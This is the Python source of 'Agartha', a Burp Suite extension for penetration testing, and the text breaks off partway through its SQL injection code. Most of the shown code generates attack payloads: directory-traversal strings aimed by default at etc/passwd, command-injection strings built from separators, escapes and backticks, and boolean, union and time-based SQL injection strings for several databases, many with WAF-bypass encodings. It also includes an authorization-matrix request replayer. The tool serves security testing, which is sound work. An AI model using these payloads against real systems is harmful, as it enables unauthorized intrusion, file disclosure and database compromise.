├── Agartha.py └── README.md /Agartha.py: -------------------------------------------------------------------------------- 1 | """ 2 | Author: Volkan Dindar 3 | """ 4 | try: 5 | from burp import (IBurpExtender, ITab, IMessageEditorController, IContextMenuFactory) 6 | from java.awt import (BorderLayout, FlowLayout, Color, Font, Dimension, Toolkit) 7 | from javax.swing import (JCheckBox, JMenuItem, JTextPane, JTable, JScrollPane, JProgressBar, SwingConstants, JComboBox, JButton, JTextField, JSplitPane, JPanel, JLabel, JRadioButton, ButtonGroup, JTabbedPane, BoxLayout) 8 | from javax.swing.border import EmptyBorder 9 | from javax.swing.table import (DefaultTableModel, TableCellRenderer) 10 | import re, urlparse, random 11 | from java.util import ArrayList 12 | from threading import Thread 13 | from java.awt.datatransfer import StringSelection 14 | import sys 15 | except: 16 | print "Failed to load dependencies." 17 | 18 | VERSION = "0.67" 19 | 20 | class BurpExtender(IBurpExtender, ITab, IMessageEditorController, IContextMenuFactory): 21 | 22 | def registerExtenderCallbacks(self, callbacks): 23 | self._callbacks = callbacks 24 | self._helpers = callbacks.getHelpers() 25 | self._callbacks.setExtensionName("Agartha {LFI|RCE|Auth|SQLi|Http-Js}") 26 | print "Version " + VERSION + " is just loaded.\n\nAgartha is a security tool for:\n\t\t* Local File Inclusion (LFI), Directory Traversal,\n\t\t* Code Injection/Remote Code Execution (RCE),\n\t\t* Authorization/Authentication Access Matrix,\n\t\t* SQL Injection Wordlists,\n\t\t* Http Request to Javascript.\n\nFor more information and tutorial how to use, please visit:\n\t\thttps://github.com/volkandindar/agartha" 27 | self._MainTabs = JTabbedPane() 28 | self._tabDictUI() 29 | self._tabAuthUI() 30 | self._MainTabs.addTab("Payload Generator", None, self._tabDictPanel, None) 31 | self._MainTabs.addTab("Authorization Matrix", None, self._tabAuthSplitpane, None) 32 | callbacks.addSuiteTab(self) 33 | callbacks.registerContextMenuFactory(self) 34 | callbacks.issueAlert("The extension has been loaded.") 35 | self.tableMatrixReset(self) 36 | return 37 | 38 | def authMatrixThread(self, ev): 39 | if not self._cbAuthSessionHandling.isSelected(): 40 | self.userNamesHttpReq = [] 41 | self.userNamesHttpReq.append("") 42 | self.userNamesHttpReq = self.userNamesHttpReqD 43 | self._cbAuthColoringFunc(self) 44 | self._requestViewer.setMessage("", False) 45 | self._responseViewer.setMessage("", False) 46 | self._lblAuthNotification.text = " " 47 | self._tbAuthNewUser.setForeground (Color.black) 48 | self._btnAuthNewUserAdd.setEnabled(False) 49 | self._btnAuthRun.setEnabled(False) 50 | self._cbAuthColoring.setEnabled(False) 51 | self._cbAuthSessionHandling.setEnabled(False) 52 | self._btnAuthReset.setEnabled(False) 53 | self._cbAuthGETPOST.setEnabled(False) 54 | self.progressBar.setValue(0) 55 | self.httpReqRes = [[],[],[],[],[]] 56 | self.httpReqRes.append([]) 57 | self.tableMatrix.clearSelection() 58 | for x in range(0,self.tableMatrix.getRowCount()): 59 | for y in range(1,self.tableMatrix.getColumnCount()): 60 | self.tableMatrix.setValueAt("", x, y) 61 | 62 | i = 1000000 / ( self.tableMatrix.getRowCount() * (self.tableMatrix.getColumnCount()-1) ) 63 | 64 | for x in range(0,self.tableMatrix.getRowCount()): 65 | for y in range(1,self.tableMatrix.getColumnCount()): 66 | self.tableMatrix.setValueAt(self.makeHttpCall(self.tableMatrix.getValueAt(x, 0), self.tableMatrix.getColumnName(y)), x, y) 67 | self.progressBar.setValue(self.progressBar.getValue() + i) 68 | 69 | self._customRenderer = UserEnabledRenderer(self.tableMatrix.getDefaultRenderer(str), self.userNamesHttpUrls) 70 | self._customTableColumnModel = self.tableMatrix.getColumnModel() 71 | for y in range(0,self.tableMatrix.getColumnCount()): 72 | self._customTableColumnModel.getColumn (y).setCellRenderer (self._customRenderer) 73 | self.tableMatrix.repaint() 74 | self.tableMatrix.setSelectionForeground(Color.red) 75 | self._btnAuthNewUserAdd.setEnabled(True) 76 | self._btnAuthRun.setEnabled(True) 77 | self._cbAuthColoring.setEnabled(True) 78 | self._cbAuthSessionHandling.setEnabled(True) 79 | self._btnAuthReset.setEnabled(True) 80 | self._cbAuthGETPOST.setEnabled(True) 81 | self.progressBar.setValue(1000000) 82 | self._lblAuthNotification.text = "Blue, Green, Purple and Beige colors are representation of users. Yellow, Orange and Red cell colors show warning severities." 83 | return 84 | 85 | def makeHttpCall(self, urlAdd, userID): 86 | try: 87 | userID = self.userNames.index(userID) 88 | header = self.userNamesHttpReq[userID] 89 | 90 | # changing url in the request header 91 | if str(urlparse.urlparse(urlAdd).path): 92 | # check if query string exists 93 | if str(urlparse.urlparse(urlAdd).query): 94 | header = header.replace(" " + header.splitlines()[0].split(" ", 2)[1], " " + str(urlparse.urlparse(urlAdd).path + "?" + urlparse.urlparse(urlAdd).query)) 95 | else: 96 | header = header.replace(" " + header.splitlines()[0].split(" ", 2)[1], " " + str(urlparse.urlparse(urlAdd).path)) 97 | else: 98 | header = header.replace(" " + header.splitlines()[0].split(" ", 2)[1], " " + "/") 99 | 100 | # header methods 101 | if "GET" in header[:3]: 102 | #request was in GET method and will be in POST 103 | if self._cbAuthGETPOST.getSelectedIndex() == 1: 104 | header = self._callbacks.getHelpers().toggleRequestMethod((header)) 105 | else: 106 | #request was in POST method and will be in GET 107 | if self._cbAuthGETPOST.getSelectedIndex() == 0: 108 | header = self._callbacks.getHelpers().toggleRequestMethod((header)) 109 | 110 | portNum = 80 111 | if urlparse.urlparse(urlAdd).port: 112 | portNum = urlparse.urlparse(urlAdd).port 113 | else: 114 | if urlparse.urlparse(urlAdd).scheme == "https": 115 | portNum = 443 116 | 117 | #try: 118 | # #check for if service accessible 119 | # urllib2.urlopen(urlAdd, timeout=5).getcode() 120 | #except Exception as e: 121 | # if (re.findall(r'Host is down|timed out|Connection refused', str(e), re.IGNORECASE)): 122 | # self.httpReqRes[userID].append("") 123 | # return "Service not accessible!" 124 | 125 | _httpReqRes = self._callbacks.makeHttpRequest(self._helpers.buildHttpService(urlparse.urlparse(urlAdd).hostname, portNum, urlparse.urlparse(urlAdd).scheme), header) 126 | self.httpReqRes[userID].append(_httpReqRes) 127 | try: 128 | if userID > 0 and self._cbAuthSessionHandling.isSelected(): 129 | if "GET" in self._helpers.bytesToString(header)[:3]: 130 | header = self._callbacks.getHelpers().toggleRequestMethod((header)) 131 | httpReqHeader = self._helpers.bytesToString(header).split('\r\n\r\n')[0] 132 | httpReqData = self._helpers.bytesToString(header).split('\r\n\r\n')[1] 133 | httpResHeader = str(self._helpers.analyzeResponse(_httpReqRes.getResponse()).getHeaders()) 134 | httpResBody = str(self._helpers.bytesToString(_httpReqRes.getResponse())[self._helpers.analyzeResponse(self._helpers.bytesToString(_httpReqRes.getResponse())).getBodyOffset():]) 135 | self.userNamesHttpReq[userID]= self.sessionHandler(httpReqHeader,httpReqData,httpResHeader,httpResBody) 136 | except Exception as e: 137 | pass 138 | #print str(e) 139 | #return "cookie handling error!" 140 | 141 | return "HTTP " + str(self._helpers.analyzeResponse(self._helpers.bytesToString(_httpReqRes.getResponse())).getStatusCode()) + " : " + format(len(self._helpers.bytesToString(_httpReqRes.getResponse())) - self._helpers.analyzeResponse(self._helpers.bytesToString(_httpReqRes.getResponse())).getBodyOffset(), ',d') + "bytes" 142 | except: 143 | self.httpReqRes[userID].append("") 144 | return str(sys.exc_info()[1]) 145 | 146 | def authAdduser(self, ev): 147 | if self.userCount == 4: 148 | self._lblAuthNotification.text = "You can add up to 4 users" 149 | return 150 | 151 | for line in self._tbAuthURL.getText().split('\n'): 152 | if not self.isURLValid(str(line)) or line == self._txtURLDefault: 153 | self._tbAuthURL.setForeground (Color.red) 154 | self._lblAuthNotification.text = "Please check url list!" 155 | self._lblAuthNotification.setForeground (Color.red) 156 | return 157 | self._tbAuthURL.setForeground (Color.black) 158 | 159 | if not self._tbAuthHeader.getText().strip() or self._tbAuthHeader.getText().strip() == self._txtHeaderDefault or not self._tbAuthHeader.getText().split('\n')[0].count(' ') == 2: 160 | self._tbAuthHeader.setForeground (Color.red) 161 | self._lblAuthNotification.text = "Please provide a valid header!" 162 | self._lblAuthNotification.setForeground (Color.red) 163 | return 164 | self._tbAuthHeader.setForeground (Color.black) 165 | 166 | if self._tbAuthNewUser.text in self.userNames: 167 | self._tbAuthNewUser.setForeground (Color.red) 168 | self._lblAuthNotification.text = "Please add another user name!" 169 | self._lblAuthNotification.setForeground (Color.red) 170 | return 171 | self._tbAuthNewUser.setForeground (Color.black) 172 | 173 | if self.userCount == 0: 174 | #header for unauth user 175 | unauthHeader = self._tbAuthHeader.getText().split('\n')[0] + "\n" + self._tbAuthHeader.getText().split('\n')[1] 176 | for line in self._tbAuthHeader.getText().split('\n')[2:]: 177 | if not any(re.findall(r'cookie|token|auth', line, re.IGNORECASE)): 178 | unauthHeader += "\n" + line 179 | if not line: 180 | break 181 | self.userNamesHttpReq[0] = unauthHeader 182 | self.userNamesHttpReqD[0] = unauthHeader 183 | 184 | self.userCount = self.userCount + 1 185 | self.userNames.append(self._tbAuthNewUser.text) 186 | self.userNamesHttpReq.append(self._tbAuthHeader.getText()) 187 | self.userNamesHttpReqD.append(self._tbAuthHeader.getText()) 188 | self.tableMatrix_DM.addColumn(self._tbAuthNewUser.text) 189 | self.userNamesHttpUrls.append([]) 190 | 191 | urlList = [] 192 | for x in range(0,self.tableMatrix.getRowCount()): 193 | urlList.append(str(self.tableMatrix.getValueAt(x, 0))) 194 | 195 | for line in set(self._tbAuthURL.getText().split('\n')): 196 | if line and not any(re.findall(r'(log|sign).*(off|out)', line, re.IGNORECASE)): 197 | line = line.replace(' ','') 198 | self.userNamesHttpUrls[self.userCount].append(line) 199 | if line not in urlList: 200 | self.tableMatrix_DM.addRow([line]) 201 | 202 | self._tbAuthURL.setText("") 203 | self._btnAuthRun.setEnabled(True) 204 | self._btnAuthReset.setEnabled(True) 205 | self._lblAuthNotification.text = self._tbAuthNewUser.text + " added successfully!" 206 | self._lblAuthNotification.setForeground (Color.black) 207 | self._cbAuthColoring.setEnabled(True) 208 | self._cbAuthSessionHandling.setEnabled(True) 209 | self._cbAuthGETPOST.setEnabled(True) 210 | self.tableMatrix.repaint() 211 | self.tableMatrix.setSelectionForeground(Color.red) 212 | self._customRenderer = UserEnabledRenderer(self.tableMatrix.getDefaultRenderer(str), self.userNamesHttpUrls) 213 | self._customTableColumnModel = self.tableMatrix.getColumnModel() 214 | for y in range(0,self.tableMatrix.getColumnCount()): 215 | self._customTableColumnModel.getColumn (y).setCellRenderer (self._customRenderer) 216 | 217 | return 218 | 219 | def _cbAuthColoringFunc(self, ev): 220 | global _colorful 221 | if self._cbAuthColoring.isSelected(): 222 | _colorful = True 223 | else: 224 | _colorful = False 225 | 226 | self.tableMatrix.repaint() 227 | return 228 | 229 | def funcGeneratePayload(self, ev): 230 | self._lblStatusLabel.setForeground (Color.red) 231 | if self._rbDictSQLi.isSelected(): 232 | self._txtTargetPath.setText(self._txtDefaultSQLi) 233 | elif not self.isValid(): 234 | self._lblStatusLabel.setText("input is not valid. ") 235 | if self._rbDictLFI.isSelected(): 236 | self._lblStatusLabel.setText("File "+ self._lblStatusLabel.text + self._txtDefaultLFI) 237 | self._txtTargetPath.setText("etc/passwd") 238 | elif self._rbDictCommandInj.isSelected(): 239 | self._lblStatusLabel.setText("Remote code " +self._lblStatusLabel.text + self._txtDefaultCommandInj) 240 | self._txtTargetPath.setText("sleep 3600") 241 | return 242 | 243 | self._lblStatusLabel.setForeground (Color.black) 244 | self._txtTargetPath.text = self._txtTargetPath.text.strip() 245 | self._tabDictResultDisplay.setText("") 246 | self._lblStatusLabel.setText("") 247 | if self._rbDictCommandInj.isSelected(): 248 | self.funcCommandInj(self) 249 | if self._rbDictLFI.isSelected(): 250 | self.funcLFI(self) 251 | if self._rbDictSQLi.isSelected(): 252 | self.funcSQLi(self) 253 | return 254 | 255 | def isValid(self): 256 | # check if any special chars 257 | regex = re.compile('[@,\'\"!#$%^&*<>\|}{]') 258 | if(regex.search(self._txtTargetPath.text) == None) and self._txtTargetPath.text.strip(): 259 | #clear 260 | return True 261 | else: 262 | #special char 263 | return False 264 | 265 | def funcRBSelection(self, ev): 266 | self._lblStatusLabel.setForeground (Color.black) 267 | self._lblStatusLabel.setText("") 268 | self._tabDictPanel_LFI.setVisible(False) 269 | self._cbDictCommandInjOpt.setVisible(False) 270 | self._tabDictPanel_SQLType.setVisible(False) 271 | self._tabDictPanel_SQLi.setVisible(False) 272 | self._tabDictPanel_SQLOptions.setVisible(False) 273 | if self._rbDictLFI.isSelected(): 274 | self._txtTargetPath.setText(self._txtDefaultLFI) 275 | self._tabDictResultDisplay.setText(self._txtCheatSheetLFI) 276 | self._tabDictPanel_LFI.setVisible(True) 277 | self._lblStatusLabel.setText("Please provide a path to generate payloads!") 278 | elif self._rbDictCommandInj.isSelected(): 279 | self._txtTargetPath.setText(self._txtDefaultCommandInj) 280 | self._tabDictResultDisplay.setText(self._txtCheatSheetCommandInj) 281 | self._cbDictCommandInjOpt.setVisible(True) 282 | self._lblStatusLabel.setText("Please provide a command to generate payloads!") 283 | elif self._rbDictSQLi.isSelected(): 284 | self._txtTargetPath.setText(self._txtDefaultSQLi) 285 | self._tabDictPanel_SQLType.setVisible(True) 286 | self._tabDictPanel_SQLi.setVisible(True) 287 | self._tabDictPanel_SQLOptions.setVisible(True) 288 | self.funcSQLi(self) 289 | return 290 | 291 | def funcCommandInj(self, ev): 292 | listCommandInj = [] 293 | prefixes = ["", "\\n", "\\r\\n", "%0a", "%0d%0a"] 294 | escapeChars = ["", "'", "\\'", "\"", "\\\""] 295 | separators = ["&", "&&", "|", "||", ";"] 296 | suffixes = [" #", " ::", " %00"] 297 | 298 | for prefix in prefixes: 299 | for escapeChar in escapeChars: 300 | for separator in separators: 301 | for suffix in suffixes: 302 | listCommandInj.append(prefix + escapeChar + separator + self._txtTargetPath.text + separator + escapeChar + "\n") 303 | if escapeChar: 304 | listCommandInj.append(prefix + separator + self._txtTargetPath.text + escapeChar + suffix + "\n") 305 | listCommandInj.append(prefix + escapeChar + separator + self._txtTargetPath.text + suffix + "\n") 306 | listCommandInj.append(prefix + escapeChar + separator + escapeChar + self._txtTargetPath.text + "\n") 307 | if suffix != " ::": 308 | listCommandInj.append(prefix + escapeChar + separator + "`" + self._txtTargetPath.text + "`" + suffix + "\n") 309 | listCommandInj.append(prefix + "`" + self._txtTargetPath.text + "`" + escapeChar + suffix + "\n") 310 | listCommandInj.append(prefix + self._txtTargetPath.text + "\n") 311 | listCommandInj.append(prefix + separator + "`" + self._txtTargetPath.text + "`" + separator + "\n") 312 | listCommandInj.append(prefix + escapeChar + separator + "`" + self._txtTargetPath.text + "`" + separator + escapeChar + "\n") 313 | listCommandInj.append(prefix + self._txtTargetPath.text + "\n") 314 | listCommandInj.append(prefix + "`" + self._txtTargetPath.text + "`" + "\n") 315 | 316 | listCommandInj = list(set(listCommandInj)) 317 | listCommandInj.sort(reverse=True) 318 | if self._cbDictCommandInjEncoding.isSelected(): 319 | listCommandInj = self.encodeURL(listCommandInj) 320 | self._tabDictResultDisplay.setText(''.join(map(str, listCommandInj))) 321 | self._lblStatusLabel.setText('Remote code dictionary: "' + self._txtTargetPath.text + '", with '+ str(len(listCommandInj)) + ' result.') 322 | return 323 | 324 | def funcLFI(self, ev): 325 | listLFI = [] 326 | dept = int(self._cbDictDepth.getSelectedItem()) 327 | 328 | if self._txtTargetPath.text.startswith('/') or self._txtTargetPath.text.startswith('\\'): 329 | self._txtTargetPath.text = self._txtTargetPath.text[1:] 330 | 331 | filePath = self._txtTargetPath.text.replace("\\","/") 332 | 333 | counter = 0 334 | if self._cbDictEquality.isSelected(): 335 | counter = dept 336 | 337 | while counter <= dept: 338 | _upperDirectory = "" 339 | i = 1 340 | while i <= counter: 341 | _upperDirectory += "../" 342 | i = i + 1 343 | listLFI.append(_upperDirectory + filePath + "\n") 344 | 345 | if self._cbDictWafBypass.isSelected(): 346 | listLFI.append((_upperDirectory + filePath).replace("..", "...") + "\n") 347 | listLFI.append((_upperDirectory + filePath).replace("..", "....") + "\n") 348 | listLFI.append((_upperDirectory + self._txtTargetPath.text).replace("..", "...") + "\n") 349 | listLFI.append((_upperDirectory + self._txtTargetPath.text).replace("..", "....") + "\n") 350 | 351 | prefixes = ["/", "\\", "/..;/", "..;/"] 352 | for prefix in prefixes: 353 | listLFI.append(prefix + _upperDirectory + filePath + "\n") 354 | 355 | suffixes = ["%00index.html", "%20index.html", "%09index.html", "%0Dindex.html", "%FFindex.html", "%00", "%20", "%09", "%0D", "%FF", ";index.html", "%00.jpg", "%00.jpg", "%20.jpg", "%09.jpg", "%0D.jpg", "%FF.jpg"] 356 | for suffix in suffixes: 357 | listLFI.append(_upperDirectory + filePath + suffix + "\n") 358 | 359 | if "\\" in self._txtTargetPath.text: 360 | listLFI.append(_upperDirectory.replace("/", "\\") + self._txtTargetPath.text + "\n") 361 | listLFI.append(_upperDirectory.replace("/", "\\").replace("..", "...") + self._txtTargetPath.text + "\n") 362 | listLFI.append(_upperDirectory.replace("/", "\\").replace("..", "....") + self._txtTargetPath.text + "\n") 363 | listLFI.append(_upperDirectory.replace("/", "\\\\") + self._txtTargetPath.text + "\n") 364 | listLFI.append((_upperDirectory + filePath).replace("/", "\\\\") + "\n") 365 | listLFI.append(_upperDirectory + self._txtTargetPath.text.replace("/", "\\\\") + "\n") 366 | for suffix in suffixes: 367 | listLFI.append((_upperDirectory + filePath).replace("/", "\\\\") + suffix + "\n") 368 | listLFI.append((_upperDirectory + filePath).replace("/", "\\") + suffix + "\n") 369 | 370 | replacers = ["..././", "...\\.\\"] 371 | for replacer in replacers: 372 | listLFI.append(_upperDirectory.replace("../", replacer) + filePath + "\n") 373 | 374 | replaceSlashes = ["\\", "\\\\", "\\\\\\", "//", "///", "\\/"] 375 | for replaceSlash in replaceSlashes: 376 | listLFI.append(_upperDirectory.replace("/", replaceSlash) + filePath + "\n") 377 | listLFI.append(_upperDirectory.replace("/", replaceSlash) + self._txtTargetPath.text + "\n") 378 | if "\\" in self._txtTargetPath.text: 379 | listLFI.append(_upperDirectory[:-1].replace("/", replaceSlash) + "\\" + self._txtTargetPath.text + "\n") 380 | else: 381 | listLFI.append(_upperDirectory[:-1].replace("/", replaceSlash) + "/" + filePath + "\n") 382 | listLFI.append((_upperDirectory + filePath).replace("/", replaceSlash) + "\n") 383 | 384 | delimetersSlashes = ["%2f", "%5c" , "%252f" , "%c0%af" , "%u2215" , "%u2216" , "%u2215" , "%u2216" , "%c0%af" , "%c0%5c" , "%e0%80%af" , "%c0%80%5c" , "%c0%2f" , "%252f" , "%255c" , "%25c0%25af" , "%c1%9c" , "%25c1%259c" , "%%32%66" , "%%35%63" , "%uEFC8", "%uF025", "0x2f" , "0x5c" , "%c0%2f" , "%c0%5c"] 385 | delimetersDots = ["%2e%2e", "%2e%2e", "%252e%252e", "%c0%ae%c0%ae", "%uff0e%uff0e", "%uff0e%uff0e", "%u002e%u002e", "%u002e%u002e", "%c0%2e%c0%2e", "%c0%2e%c0%2e", "%e0%40%ae%e0%40%ae", "%e0%40%ae%e0%40%ae", "%c0ae%c0ae", "%252e%252e", "%252e%252e", "%25c0%25ae%25c0%25ae", "%c0%ae%c0%ae", "%25c0%25ae%25c0%25ae", "%%32%65%%32%65", "%%32%65%%32%65", ".." , ".." , "0x2e0x2e", "0x2e0x2e", "%c0%2e%c0%2e", "%c0%2e%c0%2e"] 386 | for i in range(len(delimetersSlashes)): 387 | listLFI.append((_upperDirectory).replace("/", delimetersSlashes[i]) + filePath + "\n") 388 | listLFI.append((_upperDirectory)[:-1].replace("/", delimetersSlashes[i]) + "/" + filePath + "\n") 389 | listLFI.append((_upperDirectory + filePath).replace("/", delimetersSlashes[i]) + "\n") 390 | listLFI.append((_upperDirectory).replace("/", delimetersSlashes[i]).replace("..", delimetersDots[i]) + filePath + "\n") 391 | listLFI.append((_upperDirectory)[:-1].replace("/", delimetersSlashes[i]).replace("..", delimetersDots[i]) + "/" + filePath + "\n") 392 | listLFI.append((_upperDirectory + filePath).replace("/", delimetersSlashes[i]).replace("..", delimetersDots[i]) + "\n") 393 | listLFI.append((_upperDirectory).replace("..", delimetersDots[i]) + filePath + "\n") 394 | 395 | counter = counter + 1 396 | 397 | listLFI = list(set(listLFI)) 398 | listLFI.sort(reverse=True) 399 | self._tabDictResultDisplay.setText(''.join(map(str, listLFI))) 400 | self._lblStatusLabel.setText('File dictionary: "' + self._txtTargetPath.text + '", with '+ str(len(listLFI)) + ' result. Please make sure payload encoding is disabled, unless you are sure what you are doing.') 401 | return 402 | 403 | def funcSQLi(self, ev): 404 | self._lblStatusLabel.setForeground (Color.black) 405 | if self._cbTimeBased.isSelected() or self._cbStackedSQL.isSelected() or self._cbUnionBased.isSelected(): 406 | if not self._cbMysqlBased.isSelected() and not self._cbMssqlBased.isSelected() and not self._cbPostgreBased.isSelected() and not self._cbOracleBased.isSelected(): 407 | self._lblStatusLabel.setForeground (Color.red) 408 | self._lblStatusLabel.setText('There is no a generic method exists for this choice! Please also pick a database!') 409 | self._tabDictResultDisplay.setText('') 410 | return 411 | if not (self._cbTimeBased.isSelected() or self._cbStackedSQL.isSelected() or self._cbUnionBased.isSelected() or self._cbBooleanBased.isSelected() or self._cbOrderBased.isSelected()): 412 | self._lblStatusLabel.setForeground (Color.red) 413 | self._lblStatusLabel.setText('There is no a generic method exists for this choice! Please also pick an attack type!') 414 | self._tabDictResultDisplay.setText('') 415 | return 416 | 417 | listSQLi = [] 418 | prefixes = ["", "\\n", "\\r\\n", "%0a", "0x0a", "%0d%0a", "0x0d0a", "%00", "0x00"] 419 | 420 | escapeChars = ["", "'", "\\'"] 421 | 422 | n1 = str(random.randint(10,70)) 423 | n2 = str(random.randint(71,99)) 424 | boolExpressions = [n1 + "=" + n1, n1 + "<" + n2] 425 | 426 | suffixes = ["", " -- "] 427 | 428 | if not self._cbSqlWafBypass.isSelected(): 429 | prefixes = [""] 430 | escapeChars = ["", "'"] 431 | 432 | if self._cbBooleanBased.isSelected(): 433 | for prefix in prefixes: 434 | for escapeChar in escapeChars: 435 | for boolExpression in boolExpressions: 436 | for suffix in suffixes[1:]: 437 | listSQLi.append(prefix + escapeChar + " or " + boolExpression + suffix + "\n") 438 | if not escapeChar: 439 | listSQLi.append(prefix + " or " + boolExpression + "\n") 440 | for prefix in prefixes: 441 | for escapeChar in escapeChars[1:]: 442 | for suffix in suffixes[1:]: 443 | listSQLi.append(prefix + escapeChar + " or " + escapeChar + "xyz" + escapeChar + "=" + escapeChar + "xyz" + "\n") 444 | listSQLi.append(prefix + escapeChar + " or " + escapeChar + "xyz" + escapeChar + "=" + escapeChar + "xyz" + escapeChar + suffix + "\n") 445 | listSQLi.append(prefix + " or " + escapeChar + "xyz" + escapeChar + "=" + escapeChar + "xyz" + escapeChar + "\n") 446 | listSQLi.append(prefix + " or " + escapeChar + "xyz" + escapeChar + "=" + escapeChar + "xyz" + escapeChar + suffix + "\n") 447 | 448 | 449 | if self._cbOrderBased.isSelected(): 450 | for prefix in prefixes: 451 | for escapeChar in escapeChars: 452 | for suffix in suffixes[1:]: 453 | for i in range(int(self._cbOrderDepth.getSelectedItem())): 454 | listSQLi.append(prefix + escapeChar + " order by " + str(i+1) + suffix + "\n") 455 | if not escapeChar: 456 | listSQLi.append(prefix + escapeChar + " order by " + str(i+1) + "\n") 457 | 458 | if self._cbUnionBased.isSelected(): 459 | for prefix in prefixes: 460 | for escapeChar in escapeChars: 461 | for suffix in suffixes[1:]: 462 | unionPhrase = " union select " 463 | for i in range(int(self._cbUnionDepth.getSelectedItem())): 464 | unionPhrase += "null" 465 | if self._cbMysqlBased.isSelected(): 466 | listSQLi.append(prefix + escapeChar + unionPhrase + suffix + "\n") 467 | if not escapeChar: 468 | listSQLi.append(prefix + unionPhrase + "\n") 469 | if self._cbTimeBased.isSelected(): 470 | listSQLi.append(prefix + escapeChar + unionPhrase.replace("select null", "select sleep(3600)") + suffix + "\n") 471 | if not escapeChar: 472 | listSQLi.append(prefix + unionPhrase.replace("select null", "select sleep(3600)") + "\n") 473 | if self._cbPostgreBased.isSelected(): 474 | listSQLi.append(prefix + escapeChar + unionPhrase + suffix + "\n") 475 | if not escapeChar: 476 | listSQLi.append(prefix + unionPhrase + "\n") 477 | if self._cbTimeBased.isSelected(): 478 | listSQLi.append(prefix + escapeChar + unionPhrase.replace("select null", "select (select 1337 from pg_sleep(3600))") + suffix + "\n") 479 | if not escapeChar: 480 | listSQLi.append(prefix + unionPhrase.replace("select null", "select (select 1337 from pg_sleep(3600))") + "\n") 481 | if self._cbMssqlBased.isSelected(): 482 | listSQLi.append(prefix + escapeChar + unionPhrase + suffix + "\n") 483 | if not escapeChar: 484 | listSQLi.append(prefix + unionPhrase + "\n") 485 | if self._cbTimeBased.isSelected(): 486 | if escapeChar: 487 | listSQLi.append(prefix + escapeChar + unionPhrase + " waitfor delay " + escapeChar + "01:00" + escapeChar + suffix + "\n") 488 | else: 489 | listSQLi.append(prefix + unionPhrase + " waitfor delay '01:00'" + "\n") 490 | if self._cbSqlWafBypass.isSelected(): 491 | listSQLi.append(prefix + unionPhrase + " waitfor delay \\'01:00\\'" + "\n") 492 | if self._cbOracleBased.isSelected(): 493 | listSQLi.append(prefix + escapeChar + unionPhrase + " from dual" + suffix + "\n") 494 | if not escapeChar: 495 | listSQLi.append(prefix + unionPhrase + " from dual" + "\n") 496 | if self._cbTimeBased.isSelected(): 497 | if escapeChar: 498 | listSQLi.append(prefix + escapeChar + unionPhrase.replace("select null", "select "+ "dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),3600)") + " from dual" + suffix + "\n") 499 | listSQLi.append(prefix + escapeChar + unionPhrase.replace("select null", "select "+ "dbms_pipe.receive_message(1,3600)") + " from dual" + suffix + "\n") 500 | listSQLi.append(prefix + escapeChar + unionPhrase.replace("select null", "select "+ "cast(dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),3600) as varchar2(10))") + " from dual" + suffix + "\n") 501 | listSQLi.append(prefix + escapeChar + unionPhrase.replace("select null", "select "+ "cast(dbms_pipe.receive_message(1,3600) as varchar2(10))") + " from dual" + suffix + "\n") 502 | else: 503 | listSQLi.append(prefix + unionPhrase.replace("select null", "select "+ "dbms_pipe.receive_message(('a'),3600)") + " from dual" + suffix + "\n") 504 | listSQLi.append(prefix + unionPhrase.replace("select null", "select "+ "dbms_pipe.receive_message(('a'),3600)") + " from dual" + "\n") 505 | listSQLi.append(prefix + unionPhrase.replace("select null", "select "+ "dbms_pipe.receive_message(1,3600)") + " from dual" + suffix + "\n") 506 | listSQLi.append(prefix + unionPhrase.replace("select null", "select "+ "dbms_pipe.receive_message(1,3600)") + " from dual" + "\n") 507 | listSQLi.append(prefix + unionPhrase.replace("select null", "select "+ "cast(dbms_pipe.receive_message(('a'),3600) as varchar2(10))") + " from dual" + suffix + "\n") 508 | listSQLi.append(prefix + unionPhrase.replace("select null", "select "+ "cast(dbms_pipe.receive_message(('a'),3600) as varchar2(10))") + " from dual" + "\n") 509 | listSQLi.append(prefix + unionPhrase.replace("select null", "select "+ "cast(dbms_pipe.receive_message(1,3600) as varchar2(10))") + " from dual" + suffix + "\n") 510 | listSQLi.append(prefix + unionPhrase.replace("select null", "select "+ "cast(dbms_pipe.receive_message(1,3600) as varchar2(10))") + " from dual" + "\n") 511 | if self._cbSqlWafBypass.isSelected(): 512 | listSQLi.append(prefix + unionPhrase.replace("select null", "select "+ "dbms_pipe.receive_message((\\'a\\'),3600)") + " from dual" + suffix + "\n") 513 | listSQLi.append(prefix + unionPhrase.replace("select null", "select "+ "dbms_pipe.receive_message((\\'a\\'),3600)") + " from dual" + "\n") 514 | listSQLi.append(prefix + unionPhrase.replace("select null", "select "+ "cast(dbms_pipe.receive_message((\\'a\\'),3600) as varchar2(10))") + " from dual" + suffix + "\n") 515 | listSQLi.append(prefix + unionPhrase.replace("select null", "select "+ "cast(dbms_pipe.receive_message((\\'a\\'),3600) as varchar2(10))") + " from dual" + "\n") 516 | unionPhrase += "," 517 | 518 | for prefix in prefixes: 519 | for escapeChar in escapeChars: 520 | for suffix in suffixes[1:]: 521 | if self._cbOracleBased.isSelected(): 522 | if self._cbStackedSQL.isSelected(): 523 | if escapeChar: 524 | listSQLi.append(prefix + escapeChar + ";select banner from v$version" + suffix + "\n") 525 | listSQLi.append(prefix + escapeChar + ";select version from v$instance" + suffix + "\n") 526 | else: 527 | listSQLi.append(prefix + ";select banner from v$version" + "\n") 528 | listSQLi.append(prefix + ";select version from v$instance" + "\n") 529 | listSQLi.append(prefix + ";select banner from v$version" + suffix + "\n") 530 | listSQLi.append(prefix + ";select version from v$instance" + suffix + "\n") 531 | if self._cbTimeBased.isSelected(): 532 | if escapeChar: 533 | listSQLi.append(prefix + escapeChar + ";select case when " + n1 + "=" + n1 +" then " + escapeChar + "a" + escapeChar + "||dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),3600) else null end from dual " + suffix + "\n") 534 | listSQLi.append(prefix + escapeChar + " and 1337=dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),3600)" + suffix + "\n") 535 | listSQLi.append(prefix + " and 1337=dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),3600)" + suffix + "\n") 536 | listSQLi.append(prefix + " and 1337=dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),3600)" + "\n") 537 | listSQLi.append(prefix + escapeChar + " or 1337=dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),3600)" + suffix + "\n") 538 | listSQLi.append(prefix + " or 1337=dbms_pipe.receive_message((" + escapeChar + "a" + escapeChar + "),3600)" + suffix + "\n") 539 | listSQLi.append(prefix + " or 